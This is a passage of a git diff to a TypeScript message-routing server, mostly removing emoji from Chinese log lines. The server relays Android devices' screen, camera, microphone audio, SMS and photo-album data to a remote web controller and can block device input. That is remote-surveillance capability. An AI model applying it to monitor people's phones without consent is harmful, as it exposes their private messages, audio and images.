screenData.data.length : 0) @@ -536,11 +535,11 @@ export class MessageRouter { if (dataSize > this.maxDataSize) { // 动态限制 this.droppedFrames++ - this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + this.logger.warn(` 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } - // ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 + // 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 // 正常480×854 JPEG即使最低质量也远大于此值 const MIN_VALID_FRAME_SIZE = 4000 if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) { @@ -563,57 +562,55 @@ export class MessageRouter { this.consecutiveBlackFrames.set(screenData.deviceId, 0) } - // 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) + // 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) const controllerId = this.webClientManager.getDeviceController(screenData.deviceId) if (!controllerId) { // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) - // 🔧 这种情况不计入丢帧统计,因为这是正常的丢弃 - this.logger.debug(`⚠️ 设备${screenData.deviceId}无控制者,丢弃屏幕数据`) + // 这种情况不计入丢帧统计,因为这是正常的丢弃 + this.logger.debug(` 设备${screenData.deviceId}无控制者,丢弃屏幕数据`) return true } - // 优化去重逻辑:调整时间间隔判断,避免误杀正常数据 + // 优化去重逻辑:降低阈值支持25fps+帧率(40ms/帧) const existingBuffer = this.screenDataBuffer.get(screenData.deviceId) if (existingBuffer) { - // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 const timeDiff = Date.now() - existingBuffer.timestamp - if (timeDiff < 30) { // 30ms内的重复数据才去重,配合50ms发送间隔 + if (timeDiff < 16) { // 16ms内的重复数据才去重(支持60fps上限) this.droppedFrames++ - this.logger.debug(`[dedup] skip screen data: device=${screenData.deviceId}, interval=${timeDiff}ms`) return false } } - // 🔧 更新缓冲区(用于去重和统计) + // 更新缓冲区(用于去重和统计) this.screenDataBuffer.set(screenData.deviceId, { data: screenData, timestamp: Date.now() }) - // 🧪🧪🧪 特殊检测:识别UI层次结构实验数据 + // 特殊检测:识别UI层次结构实验数据 if (screenData.format === 'UI_TEST' || (screenData as any).format === 'UI_TEST') { - this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`) - this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`) + this.logger.info(` [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`) + this.logger.info(` 实验数据: ${JSON.stringify(screenData)}`) // 继续正常处理流程 } - // 🎯🎯🎯 关键修复:检测UI层次结构数据并特殊处理 + // 关键修复:检测UI层次结构数据并特殊处理 if (screenData.format === 'UI_HIERARCHY' || (screenData as any).format === 'UI_HIERARCHY') { - this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`) - this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`) + this.logger.info(` [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`) + this.logger.info(` UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`) try { // 解析UI层次结构数据 const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data - this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`) + this.logger.info(` UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`) // 调用UI层次结构响应处理方法 const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData) - this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`) + this.logger.info(` UI层次结构路由结果: ${routeResult}`) return routeResult } catch (parseError) { - this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError) + this.logger.error(` 解析UI层次结构数据失败:`, parseError) return false } } @@ -622,10 +619,10 @@ export class MessageRouter { let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { - // ✅ 改进:立即尝试从数据库恢复设备,而不是延迟处理 + // 改进:立即尝试从数据库恢复设备,而不是延迟处理 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { - // ✅ 获取设备状态信息 + // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { @@ -643,13 +640,13 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device) - // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) + // 关键修复:更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { @@ -664,12 +661,12 @@ export class MessageRouter { } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } - // ✅ 关键修复:设备通过屏幕数据恢复后,必须立即通知Web端 + // 关键修复:设备通过屏幕数据恢复后,必须立即通知Web端 // 因为Android端可能不会再发送注册请求(认为自己已连接) - this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) + this.logger.info(` 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) @@ -686,12 +683,12 @@ export class MessageRouter { } }) - // ✅ 同步设备状态到设备端(如输入阻塞状态) + // 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) + this.logger.warn(` 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) // 只有在数据库中也找不到时,才使用延迟重试 setTimeout(() => { this.retryRouteScreenData(fromSocketId, screenData, 1) @@ -707,19 +704,19 @@ export class MessageRouter { return false } - // 🔧 修复:更新设备的lastSeen时间 - 关键修复! + // 修复:更新设备的lastSeen时间 - 关键修复! device.lastSeen = new Date() - this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) + this.logger.debug(` 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) - // 🔒 处理设备锁屏状态更新 + // 处理设备锁屏状态更新 // if (screenData.isLocked !== undefined) { // const previousLockedState = device.isLocked // device.isLocked = screenData.isLocked // // 如果锁屏状态发生变化,记录日志并广播状态更新 // if (previousLockedState !== screenData.isLocked) { - // this.logger.info(`🔒 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`) + // this.logger.info(` 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`) // // 广播设备锁屏状态更新给所有Web客户端 // this.webClientManager.broadcastToAll('device_lock_status_update', { @@ -732,7 +729,7 @@ export class MessageRouter { // 控制者已在前面检查过,这里不需要重复检查 - // 🔧 添加屏幕数据传输限流和错误处理 + // 添加屏幕数据传输限流和错误处理 try { // 发送屏幕数据到控制客户端 const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { @@ -747,16 +744,16 @@ export class MessageRouter { }) if (!success) { - this.logger.warn(`❌ 发送屏幕数据失败: ${device.name} -> ${controllerId}`) + this.logger.warn(` 发送屏幕数据失败: ${device.name} -> ${controllerId}`) return false } - // 🔧 记录成功传输,用于监控 - this.logger.debug(`✅ 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) + // 记录成功传输,用于监控 + this.logger.debug(` 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) return true } catch (emitError) { - this.logger.error(`❌ 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError) + this.logger.error(` 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } @@ -788,7 +785,7 @@ export class MessageRouter { // 最后尝试从数据库查询 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { - // ✅ 获取设备状态信息 + // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) // 使用数据库中的设备信息创建设备对象并注册到DeviceManager @@ -807,13 +804,13 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } - // ✅ 关键修复:将恢复的设备添加到DeviceManager中,避免重复查询 + // 关键修复:将恢复的设备添加到DeviceManager中,避免重复查询 this.deviceManager.addDevice(device) - // ✅ 更新数据库中的设备记录(特别是lastSocketId) + // 更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { @@ -827,13 +824,13 @@ export class MessageRouter { capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) - this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`) + this.logger.info(` 已更新数据库中的设备记录: ${device.name}`) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } - // ✅ 关键修复:重试恢复成功后,立即通知Web端设备在线 - this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) + // 关键修复:重试恢复成功后,立即通知Web端设备在线 + this.logger.info(` 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) @@ -849,19 +846,19 @@ export class MessageRouter { } }) - // ✅ 同步设备状态到设备端(如输入阻塞状态) + // 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) + this.logger.warn(` 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) return } } // 设备找到后正常路由 if (device) { - this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) + this.logger.info(` 重试成功,设备已识别: ${device.name}`) const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { @@ -876,7 +873,7 @@ export class MessageRouter { }) if (success) { - this.logger.debug(`📺 重试路由成功: ${device.name}`) + this.logger.debug(` 重试路由成功: ${device.name}`) } } } @@ -900,7 +897,7 @@ export class MessageRouter { if (dataSize > this.maxDataSize) { // 动态限制 this.droppedCameraFrames++ - this.logger.warn(`⚠️ 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + this.logger.warn(` 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } @@ -908,7 +905,7 @@ export class MessageRouter { const controllerId = this.webClientManager.getDeviceController(cameraData.deviceId) if (!controllerId) { // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) - this.logger.debug(`⚠️ 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`) + this.logger.debug(` 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`) return true } @@ -919,7 +916,7 @@ export class MessageRouter { const timeDiff = Date.now() - existingBuffer.timestamp if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据 this.droppedCameraFrames++ - this.logger.debug(`⚠️ 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`) + this.logger.debug(` 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`) return false } } @@ -955,7 +952,7 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } // 将恢复的设备添加到DeviceManager中 @@ -976,11 +973,11 @@ export class MessageRouter { } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } // 设备通过摄像头数据恢复后,必须立即通知Web端 - this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) + this.logger.info(` 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) @@ -1001,7 +998,7 @@ export class MessageRouter { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) + this.logger.warn(` 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) // 只有在数据库中也找不到时,才使用延迟重试 setTimeout(() => { this.retryRouteCameraData(fromSocketId, cameraData, 1) @@ -1017,7 +1014,7 @@ export class MessageRouter { // 更新设备的lastSeen时间 device.lastSeen = new Date() - this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) + this.logger.debug(` 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) // 添加摄像头数据传输限流和错误处理 try { @@ -1031,16 +1028,16 @@ export class MessageRouter { }) if (!success) { - this.logger.warn(`❌ 发送摄像头数据失败: ${device.name} -> ${controllerId}`) + this.logger.warn(` 发送摄像头数据失败: ${device.name} -> ${controllerId}`) return false } // 记录成功传输,用于监控 - this.logger.debug(`✅ 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) + this.logger.debug(` 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) return true } catch (emitError) { - this.logger.error(`❌ 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError) + this.logger.error(` 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } @@ -1091,7 +1088,7 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } // 将恢复的设备添加到DeviceManager中,避免重复查询 @@ -1111,13 +1108,13 @@ export class MessageRouter { capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) - this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`) + this.logger.info(` 已更新数据库中的设备记录: ${device.name}`) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } // 重试恢复成功后,立即通知Web端设备在线 - this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) + this.logger.info(` 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) @@ -1138,14 +1135,14 @@ export class MessageRouter { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) + this.logger.warn(` 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) return } } // 设备找到后正常路由 if (device) { - this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) + this.logger.info(` 重试成功,设备已识别: ${device.name}`) const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { @@ -1158,7 +1155,7 @@ export class MessageRouter { }) if (success) { - this.logger.debug(`📷 重试路由成功: ${device.name}`) + this.logger.debug(` 重试路由成功: ${device.name}`) } } } @@ -1176,14 +1173,14 @@ export class MessageRouter { // 校验设备来源 const device = this.databaseService.getDeviceBySocketId(fromSocketId) if (!device || device.deviceId !== image.deviceId) { - this.logger.warn(`⚠️ 非法的相册图片来源,socket=${fromSocketId}, 声称设备=${image.deviceId}`) + this.logger.warn(` 非法的相册图片来源,socket=${fromSocketId}, 声称设备=${image.deviceId}`) return false } // 直接将base64数据转发给当前控制端 const controllerId = this.webClientManager.getDeviceController(image.deviceId) if (!controllerId) { - this.logger.debug(`⚠️ 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`) + this.logger.debug(` 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`) return true } @@ -1207,7 +1204,7 @@ export class MessageRouter { // 记录日志(不落盘) const approxSize = typeof image.data === 'string' ? image.data.length : 0 - this.logger.info(`🖼️ 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`) + this.logger.info(` 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`) return true } catch (error) { @@ -1229,14 +1226,14 @@ export class MessageRouter { if (dataSize > this.maxDataSize) { this.droppedMicrophoneAudio++ - this.logger.warn(`⚠️ 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + this.logger.warn(` 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } // 检查设备是否有控制者 const controllerId = this.webClientManager.getDeviceController(audioData.deviceId) if (!controllerId) { - this.logger.debug(`⚠️ 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`) + this.logger.debug(` 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`) return true } @@ -1246,7 +1243,7 @@ export class MessageRouter { const timeDiff = Date.now() - existingBuffer.timestamp if (timeDiff < 100) { this.droppedMicrophoneAudio++ - this.logger.debug(`⚠️ 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`) + this.logger.debug(` 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`) return false } } @@ -1278,7 +1275,7 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } this.deviceManager.addDevice(device) @@ -1297,11 +1294,11 @@ export class MessageRouter { } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } // 通知Web端设备在线 - this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) + this.logger.info(` 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) this.webClientManager.broadcastToAll('device_connected', device) this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, @@ -1318,7 +1315,7 @@ export class MessageRouter { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) + this.logger.warn(` 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) setTimeout(() => { this.retryRouteMicrophoneAudio(fromSocketId, audioData, 1) }, 500) @@ -1332,7 +1329,7 @@ export class MessageRouter { // 更新设备的lastSeen时间 device.lastSeen = new Date() - this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) + this.logger.debug(` 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) // 发送麦克风音频数据到控制客户端 try { @@ -1348,15 +1345,15 @@ export class MessageRouter { }) if (!success) { - this.logger.warn(`❌ 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`) + this.logger.warn(` 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`) return false } - this.logger.debug(`✅ 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) + this.logger.debug(` 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) return true } catch (emitError) { - this.logger.error(`❌ 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError) + this.logger.error(` 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } @@ -1401,7 +1398,7 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } this.deviceManager.addDevice(device) @@ -1419,10 +1416,10 @@ export class MessageRouter { } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } - this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) + this.logger.info(` 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) this.webClientManager.broadcastToAll('device_connected', device) this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, @@ -1438,13 +1435,13 @@ export class MessageRouter { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) + this.logger.warn(` 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) return } } if (device) { - this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) + this.logger.info(` 重试成功,设备已识别: ${device.name}`) const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { @@ -1460,7 +1457,7 @@ export class MessageRouter { }) if (success) { - this.logger.debug(`🎤 重试路由成功: ${device.name}`) + this.logger.debug(` 重试路由成功: ${device.name}`) } } } @@ -1483,7 +1480,7 @@ export class MessageRouter { this.totalSmsDataSize += approxSize if (approxSize > this.maxDataSize) { this.droppedSmsData++ - this.logger.warn(`⚠️ 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + this.logger.warn(` 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } } catch (_) { @@ -1493,7 +1490,7 @@ export class MessageRouter { // 检查设备控制者 const controllerId = this.webClientManager.getDeviceController(smsData.deviceId) if (!controllerId) { - this.logger.debug(`⚠️ 设备${smsData.deviceId}无控制者,丢弃短信数据`) + this.logger.debug(` 设备${smsData.deviceId}无控制者,丢弃短信数据`) return true } @@ -1503,7 +1500,7 @@ export class MessageRouter { const timeDiff = Date.now() - existingBuffer.timestamp if (timeDiff < 500) { this.droppedSmsData++ - this.logger.debug(`⚠️ 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`) + this.logger.debug(` 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`) return false } } @@ -1535,7 +1532,7 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } this.deviceManager.addDevice(device) @@ -1553,7 +1550,7 @@ export class MessageRouter { } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } // 通知Web端设备在线 @@ -1572,7 +1569,7 @@ export class MessageRouter { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册(SMS)`) + this.logger.warn(` 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册(SMS)`) setTimeout(() => { this.retryRouteSmsData(fromSocketId, smsData, 1) }, 500) @@ -1598,14 +1595,14 @@ export class MessageRouter { }) if (!success) { - this.logger.warn(`❌ 发送短信数据失败: ${device.name} -> ${controllerId}`) + this.logger.warn(` 发送短信数据失败: ${device.name} -> ${controllerId}`) return false } - this.logger.debug(`✅ 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`) + this.logger.debug(` 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`) return true } catch (emitError) { - this.logger.error(`❌ 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError) + this.logger.error(` 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } @@ -1648,7 +1645,7 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } this.deviceManager.addDevice(device) try { @@ -1664,7 +1661,7 @@ export class MessageRouter { } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } this.webClientManager.broadcastToAll('device_connected', device) @@ -1682,7 +1679,7 @@ export class MessageRouter { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { - this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`) + this.logger.warn(` 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`) return } } @@ -1692,7 +1689,7 @@ export class MessageRouter { if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'sms_data', smsData) if (success) { - this.logger.debug(`📱 短信数据重试路由成功: ${device.name}`) + this.logger.debug(` 短信数据重试路由成功: ${device.name}`) } } } @@ -1706,34 +1703,34 @@ export class MessageRouter { */ routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean { try { - this.logger.info(`🔍 处理设备事件: ${eventType}, Socket: ${fromSocketId}`) + this.logger.info(` 处理设备事件: ${eventType}, Socket: ${fromSocketId}`) let device = this.deviceManager.getDeviceBySocketId(fromSocketId) // 对于ui_hierarchy_response,即使找不到设备也要尝试处理 if (!device && eventType === 'ui_hierarchy_response') { - this.logger.warn(`⚠️ 找不到设备但收到UI响应,尝试从数据库恢复设备信息`) + this.logger.warn(` 找不到设备但收到UI响应,尝试从数据库恢复设备信息`) // 尝试从响应数据中获取deviceId const deviceId = eventData?.deviceId if (deviceId) { - this.logger.info(`📋 从响应数据中获取到设备ID: ${deviceId}`) + this.logger.info(` 从响应数据中获取到设备ID: ${deviceId}`) // 直接处理UI层次结构响应 this.handleUIHierarchyResponse(deviceId, eventData) return true } else { - this.logger.error(`❌ 响应数据中没有deviceId字段`) + this.logger.error(` 响应数据中没有deviceId字段`) } } if (!device) { - this.logger.warn(`❌ 无法找到Socket ${fromSocketId} 对应的设备`) + this.logger.warn(` 无法找到Socket ${fromSocketId} 对应的设备`) return false } - // 🔧 修复:更新设备的lastSeen时间(设备事件是活动的标志) + // 修复:更新设备的lastSeen时间(设备事件是活动的标志) device.lastSeen = new Date() - this.logger.debug(`🔄 设备事件更新活跃时间: ${device.id} - ${eventType}`) + this.logger.debug(` 设备事件更新活跃时间: ${device.id} - ${eventType}`) // 广播给所有Web客户端(状态更新等) this.webClientManager.broadcastToAll('device_event', { @@ -1781,13 +1778,13 @@ export class MessageRouter { */ routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean { try { - this.logger.info(`🔍 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`) + this.logger.info(` 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`) const client = this.webClientManager.getClientBySocketId(fromSocketId) if (!client) { - this.logger.warn(`❌ 无法找到客户端: ${fromSocketId}`) + this.logger.warn(` 无法找到客户端: ${fromSocketId}`) return false } - this.logger.info(`✅ 找到客户端: ${client.id}`) + this.logger.info(` 找到客户端: ${client.id}`) switch (eventType) { case 'REQUEST_DEVICE_CONTROL': @@ -1901,10 +1898,10 @@ export class MessageRouter { * 处理设备控制请求 */ private handleDeviceControlRequest(clientId: string, deviceId: string): boolean { - // ✅ 检查设备是否存在 + // 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId) if (!device) { - this.logger.warn(`⚠️ 尝试控制不存在的设备: ${deviceId}`) + this.logger.warn(` 尝试控制不存在的设备: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: false, @@ -1913,9 +1910,9 @@ export class MessageRouter { return false } - // ✅ 检查客户端是否已经在控制此设备(避免重复请求) + // 检查客户端是否已经在控制此设备(避免重复请求) if (this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.debug(`👀 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`) + this.logger.debug(` 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`) this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: true, @@ -1940,7 +1937,7 @@ export class MessageRouter { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('controller_changed', { clientId }) - this.logger.info(`📤 已通知设备 ${deviceId} 新控制者: ${clientId}`) + this.logger.info(` 已通知设备 ${deviceId} 新控制者: ${clientId}`) } } @@ -1955,10 +1952,10 @@ export class MessageRouter { * 处理设备控制释放 */ private 